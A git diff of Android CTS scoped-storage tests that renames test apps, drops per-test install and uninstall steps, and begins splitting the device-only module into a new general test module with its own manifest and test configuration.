+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isFalse();
+ } finally {
+ if (file.exists()) {
+ deleteFileAsNoThrow(app, file.getAbsolutePath());
+ }
+ if (renamedFile.exists()) {
+ deleteFileAsNoThrow(app, renamedFile.getAbsolutePath());
+ }
+ }
+ }
+
+ private void testAppBypassesDatabaseOps(TestApp app) throws Exception {
+ final File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File renamedFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ try {
+ assertThat(createFileAs(app, file.getAbsolutePath())).isTrue();
+ // File path create() didn't add the file to database.
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isFalse();
+
+ // Ensure file is added to database.
+ assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+
+ assertThat(renameFileAs(app, file, renamedFile)).isTrue();
+ // Rename() didn't update the database row.
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isTrue();
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isFalse();
+
+ // Ensure database is updated with renamed path
+ assertNull(MediaStore.scanFile(getContentResolver(), file));
+ assertNotNull(MediaStore.scanFile(getContentResolver(), renamedFile));
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
+
+ assertThat(deleteFileAs(app, renamedFile.getAbsolutePath())).isTrue();
+ // Unlink() didn't remove the database row.
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
+ } finally {
+ if (file.exists()) {
+ deleteFileAsNoThrow(app, file.getAbsolutePath());
+ }
+ if (renamedFile.exists()) {
+ deleteFileAsNoThrow(app, renamedFile.getAbsolutePath());
+ }
+ MediaStore.scanFile(getContentResolver(), file);
+ MediaStore.scanFile(getContentResolver(), renamedFile);
+ }
+ }
+}
diff --git a/hostsidetests/scopedstorage/device/AndroidManifest.xml b/hostsidetests/scopedstorage/device/AndroidManifest.xml
index 8d397e28ff5..c9ff6a9028d 100644
--- a/hostsidetests/scopedstorage/device/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidManifest.xml
@@ -33,6 +33,9 @@
<package android:name="android.scopedstorage.cts.testapp.SystemGalleryBypassDB" />
<package android:name="android.scopedstorage.cts.testapp.withqueriestag" />
<package android:name="android.scopedstorage.cts.testapp.withqueryallpackagestag" />
+ <package android:name="android.scopedstorage.cts.testapp.SystemGallery30BypassDB" />
+ <package android:name="android.scopedstorage.cts.testapp.E30" />
+ <package android:name="android.scopedstorage.cts.testapp.E30.filemanager" />
</queries>
<application android:label="Scoped Storage Device Tests">
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index 648469e519a..d26f207ee6f 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -23,6 +23,11 @@
<option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
<option name="test-file-name" value="CtsTestAppWithQueryAllPackagesPermission.apk" />
<option name="test-file-name" value="CtsTestAppWithQueriesTag.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE30.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE30FileManager.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppFileManagerBypassDB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppSystemGalleryBypassDB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppSystemGallery30BypassDB.apk" />
</target_preparer>
<option
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
index 51f61ecd5a5..9caf9d708c2 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
@@ -25,10 +25,7 @@ import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
-import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
import static android.scopedstorage.cts.lib.TestUtils.renameFileAs;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
import static androidx.test.InstrumentationRegistry.getContext;
@@ -40,6 +37,7 @@ import static org.junit.Assert.assertNull;
import android.Manifest;
import android.app.AppOpsManager;
import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
import android.scopedstorage.cts.lib.TestUtils;
import android.util.Log;
@@ -58,7 +56,9 @@ import org.junit.runners.Parameterized.Parameters;
import java.io.File;
/**
- * Device-side test suite to verify file path operations optionally bypassing database operations.
+ * We are in process of splitting CtsScopedStorageDeviceOnlyTest module into multiple ones.
+ * This is a temporary test class, and it will be deleted
+ * after all the links to new modules are created.
*/
@RunWith(Parameterized.class)
public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
@@ -74,14 +74,14 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
"android.scopedstorage.cts.testapp.SystemGalleryBypassDB", 1, false,
"CtsScopedStorageTestAppSystemGalleryBypassDB.apk");
// An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30.
- private static final TestApp APP_SYSTEM_GALLERY_30 = new TestApp("TestAppC",
- "android.scopedstorage.cts.testapp.C", 1, false,
- "CtsScopedStorageTestAppC30.apk");
+ private static final TestApp APP_SYSTEM_GALLERY_30 = new TestApp("TestAppE30",
+ "android.scopedstorage.cts.testapp.E30", 1, false,
+ "CtsScopedStorageTestAppE30.apk");
// An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30 and has
// requestRawExternalStorageAccess=true
private static final TestApp APP_SYSTEM_GALLERY_30_BYPASS_DB = new TestApp(
- "TestAppSystemGalleryBypassDB",
- "android.scopedstorage.cts.testapp.SystemGalleryBypassDB", 1, false,
+ "TestAppSystemGallery30BypassDB",
+ "android.scopedstorage.cts.testapp.SystemGallery30BypassDB", 1, false,
"CtsScopedStorageTestAppSystemGallery30BypassDB.apk");
// An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
// Targets current SDK and preinstalled
@@ -94,9 +94,9 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
"TestAppFileManagerBypassDB", "android.scopedstorage.cts.testapp.filemanagerbypassdb",
1, false, "CtsScopedStorageTestAppFileManagerBypassDB.apk");
// An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission and targets targetSDK=30
- private static final TestApp APP_FM_TARGETS_30 = new TestApp("TestAppC",
- "android.scopedstorage.cts.testapp.C", 1, false,
- "CtsScopedStorageTestAppC30.apk");
+ private static final TestApp APP_FM_TARGETS_30 = new TestApp("TestAppE30FileManager",
+ "android.scopedstorage.cts.testapp.E30.filemanager", 1, false,
+ "CtsScopedStorageTestAppE30FileManager.apk");
private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
@@ -154,16 +154,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
@Test
@SdkSuppress(minSdkVersion = 31, codeName = "S")
public void testManageExternalStorage_WithBypassFlag_BypassesDatabase() throws Exception {
- installApp(APP_FM_BYPASS_DATABASE_OPS);
- try {
- final int fmUid =
- getContext().getPackageManager().getPackageUid(
- APP_FM_BYPASS_DATABASE_OPS.getPackageName(), 0);
- allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- testAppBypassesDatabaseOps(APP_FM_BYPASS_DATABASE_OPS);
- } finally {
- uninstallAppNoThrow(APP_FM_BYPASS_DATABASE_OPS);
- }
+ final int fmUid = getContext().getPackageManager().getPackageUid(
+ APP_FM_BYPASS_DATABASE_OPS.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ testAppBypassesDatabaseOps(APP_FM_BYPASS_DATABASE_OPS);
}
/**
@@ -172,16 +166,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
*/
@Test
public void testManageExternalStorage_targets30_BypassesDatabase() throws Exception {
- installApp(APP_FM_TARGETS_30);
- try {
- final int fmUid =
- getContext().getPackageManager().getPackageUid(
- APP_FM_TARGETS_30.getPackageName(), 0);
- allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- testAppBypassesDatabaseOps(APP_FM_TARGETS_30);
- } finally {
- uninstallAppNoThrow(APP_FM_TARGETS_30);
- }
+ final int fmUid = getContext().getPackageManager().getPackageUid(
+ APP_FM_TARGETS_30.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ testAppBypassesDatabaseOps(APP_FM_TARGETS_30);
}
/**
@@ -210,16 +198,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
@Test
@SdkSuppress(minSdkVersion = 31, codeName = "S")
public void testSystemGallery_WithBypassFlag_BypassesDatabase() throws Exception {
- installAppWithStoragePermissions(APP_SYSTEM_GALLERY_BYPASS_DB);
- try {
- final int sgUid =
- getContext().getPackageManager().getPackageUid(
- APP_SYSTEM_GALLERY_BYPASS_DB.getPackageName(), 0);
- allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
- testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_BYPASS_DB);
- } finally {
- uninstallAppNoThrow(APP_SYSTEM_GALLERY_BYPASS_DB);
- }
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_BYPASS_DB.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_BYPASS_DB);
}
/**
@@ -228,16 +210,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
*/
@Test
public void testSystemGallery_targets30_DoesntBypassDatabase() throws Exception {
- installAppWithStoragePermissions(APP_SYSTEM_GALLERY_30);
- try {
- final int sgUid =
- getContext().getPackageManager().getPackageUid(
- APP_SYSTEM_GALLERY_30.getPackageName(), 0);
- allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
- testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_30);
- } finally {
- uninstallAppNoThrow(APP_SYSTEM_GALLERY_30);
- }
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_30.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_30);
}
/**
@@ -248,16 +224,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
@Test
@SdkSuppress(minSdkVersion = 31, codeName = "S")
public void testSystemGallery_targets30_WithBypassFlag_BypassesDatabase() throws Exception {
- installAppWithStoragePermissions(APP_SYSTEM_GALLERY_30_BYPASS_DB);
- try {
- final int sgUid =
- getContext().getPackageManager().getPackageUid(
- APP_SYSTEM_GALLERY_30_BYPASS_DB.getPackageName(), 0);
- allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
- testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_30_BYPASS_DB);
- } finally {
- uninstallAppNoThrow(APP_SYSTEM_GALLERY_30_BYPASS_DB);
- }
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_30_BYPASS_DB.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_30_BYPASS_DB);
}
private void testAppDoesntBypassDatabaseOps(TestApp app) throws Exception {
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
index 8e653a1f14f..4b17b65b93b 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
@@ -48,6 +48,7 @@ import android.content.Intent;
import android.database.Cursor;
import android.media.ExifInterface;
import android.net.Uri;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
import android.os.Bundle;
import android.os.Environment;
import android.os.FileUtils;
@@ -78,7 +79,9 @@ import java.util.Collection;
import java.util.List;
/**
- * Device-side test suite to verify redacted URI operations.
+ * We are in process of splitting CtsScopedStorageDeviceOnlyTest module into multiple ones.
+ * This is a temporary test class, and it will be deleted
+ * after all the links to new modules are created.
*/
@RunWith(Parameterized.class)
@SdkSuppress(minSdkVersion = 31, codeName = "S")
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index bc6d64421be..8a0c53a4e2c 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -139,6 +139,7 @@ import android.os.storage.StorageManager;
import android.provider.DocumentsContract;
import android.provider.MediaStore;
import android.scopedstorage.cts.lib.RedactionTestHelper;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
import android.system.ErrnoException;
import android.system.Os;
import android.system.StructStat;
@@ -174,7 +175,9 @@ import java.util.HashMap;
import java.util.List;
/**
- * Device-side test suite to verify scoped storage business logic.
+ * We are in process of splitting CtsScopedStorageDeviceOnlyTest module into multiple ones.
+ * This is a temporary test class, and it will be deleted
+ * after all the links to new modules are created.
*/
@RunWith(Parameterized.class)
public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
@@ -182,7 +185,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
public static final byte[] BYTES_DATA1 = STR_DATA1.getBytes();
- static final String TAG = "ScopedStorageDeviceTest";
+ static final String TAG = "ScopedStorageDeviceTestCopy";
static final String THIS_PACKAGE_NAME = getContext().getPackageName();
/**
@@ -873,7 +876,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
try (InputStream in =
getContext().getResources().openRawResource(R.raw.img_with_metadata);
- FileOutputStream out = new FileOutputStream(jpgFile)) {
+ FileOutputStream out = new FileOutputStream(jpgFile)) {
// Dump the image we have to external storage
FileUtils.copy(in, out);
// Sync file to disk to ensure file is fully written to the lower fs attempting to
@@ -1211,9 +1214,9 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
try (ParcelFileDescriptor upperCasePfd =
- ParcelFileDescriptor.open(upperCaseFile, MODE_READ_WRITE | MODE_CREATE);
+ ParcelFileDescriptor.open(upperCaseFile, MODE_READ_WRITE | MODE_CREATE);
ParcelFileDescriptor lowerCasePfd =
- ParcelFileDescriptor.open(lowerCaseFile, MODE_READ_WRITE | MODE_CREATE)) {
+ ParcelFileDescriptor.open(lowerCaseFile, MODE_READ_WRITE | MODE_CREATE)) {
assertRWR(upperCasePfd, lowerCasePfd);
assertRWR(lowerCasePfd, upperCasePfd);
@@ -1276,15 +1279,15 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
public void testReadStorageInvalidation() throws Exception {
if (SdkLevel.isAtLeastT()) {
testAppOpInvalidation(
- APP_C,
- new File(getDcimDir(), "read_storage.jpg"),
- Manifest.permission.READ_MEDIA_IMAGES,
- AppOpsManager.OPSTR_READ_MEDIA_IMAGES,
- /* forWrite */ false);
+ APP_C,
+ new File(getDcimDir(), "read_storage.jpg"),
+ Manifest.permission.READ_MEDIA_IMAGES,
+ AppOpsManager.OPSTR_READ_MEDIA_IMAGES,
+ /* forWrite */ false);
} else {
testAppOpInvalidation(APP_C, new File(getDcimDir(), "read_storage.jpg"),
- Manifest.permission.READ_EXTERNAL_STORAGE,
- AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
+ Manifest.permission.READ_EXTERNAL_STORAGE,
+ AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
}
}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java
index 07f57e79207..baf5a4f9b2f 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java
@@ -42,6 +42,7 @@ import android.net.Uri;
import android.os.Bundle;
import android.platform.test.annotations.FlakyTest;
import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
import android.util.Log;
import androidx.test.core.app.ApplicationProvider;
diff --git a/hostsidetests/scopedstorage/general/AndroidManifest.xml b/hostsidetests/scopedstorage/general/AndroidManifest.xml
new file mode 100644
index 00000000000..47c38af6638
--- /dev/null
+++ b/hostsidetests/scopedstorage/general/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.general">
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <queries>
+ <package android:name="android.scopedstorage.cts.testapp.A.withres" />
+ <package android:name="android.scopedstorage.cts.testapp.B.noperms" />
+ <package android:name="android.scopedstorage.cts.testapp.filemanager" />
+ <package android:name="android.scopedstorage.cts.testapp.D" />
+ <package android:name="android.scopedstorage.cts.testapp.general.only" />
+ <package android:name="android.scopedstorage.cts.testapp.E.legacy" />
+ <package android:name="android.scopedstorage.cts.testapp.E" />
+ </queries>
+
+ <application android:label="General Scoped Storage Device Tests">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.scopedstorage.cts.lib.GetResultActivity"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.scopedstorage.cts.general"
+ android:label="General Device-only scoped storage tests" />
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/general/AndroidTest.xml b/hostsidetests/scopedstorage/general/AndroidTest.xml
new file mode 100644
index 00000000000..772a4b735f7
--- /dev/null
+++ b/hostsidetests/scopedstorage/general/AndroidTest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Runs general device-only tests for scoped storage">
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsScopedStorageGeneralTest.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppELegacy.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE.apk" />
+ </target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <option name="test-suite-tag" value="cts" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.scopedstorage.cts.general" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+ </test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
+</configuration> \ No newline at end of file
diff --git a/hostsidetests/scopedstorage/general/src/android/scopedstorage/cts/general/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/general/src/android/scopedstorage/cts/general/ScopedStorageDeviceTest.java
new file mode 100644
index 00000000000..d620b17bdd2
--- /dev/null
+++ b/hostsidetests/scopedstorage/general/src/android/scopedstorage/cts/general/ScopedStorageDeviceTest.java
@@ -0,0 +1,3590 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.general;
+
+import static android.app.AppOpsManager.permissionToOp;
+import static android.os.ParcelFileDescriptor.MODE_CREATE;
+import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromFile;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource;
+import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.addressStoragePermissions;
+import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
+import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
+import static android.scopedstorage.cts.lib.TestUtils.assertMountMode;
+import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
+import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.canQueryOnUri;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
+import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursivelyAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.fileExistsAs;
+import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAudiobooksDir;
+import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDocumentsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDownloadDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalObbDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
+import static android.scopedstorage.cts.lib.TestUtils.getFileMimeTypeFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
+import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
+import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getRecordingsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getRingtonesDir;
+import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
+import static android.scopedstorage.cts.lib.TestUtils.installApp;
+import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
+import static android.scopedstorage.cts.lib.TestUtils.listAs;
+import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
+import static android.scopedstorage.cts.lib.TestUtils.queryAudioFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
+import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
+import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
+import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
+import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
+import static android.scopedstorage.cts.lib.TestUtils.trashFileAndAssert;
+import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.untrashFileAndAssert;
+import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
+import static android.system.OsConstants.F_OK;
+import static android.system.OsConstants.O_APPEND;
+import static android.system.OsConstants.O_CREAT;
+import static android.system.OsConstants.O_EXCL;
+import static android.system.OsConstants.O_RDWR;
+import static android.system.OsConstants.O_TRUNC;
+import static android.system.OsConstants.R_OK;
+import static android.system.OsConstants.S_IRWXU;
+import static android.system.OsConstants.W_OK;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.app.AppOpsManager;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.pm.ProviderInfo;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.storage.StorageManager;
+import android.provider.DocumentsContract;
+import android.provider.MediaStore;
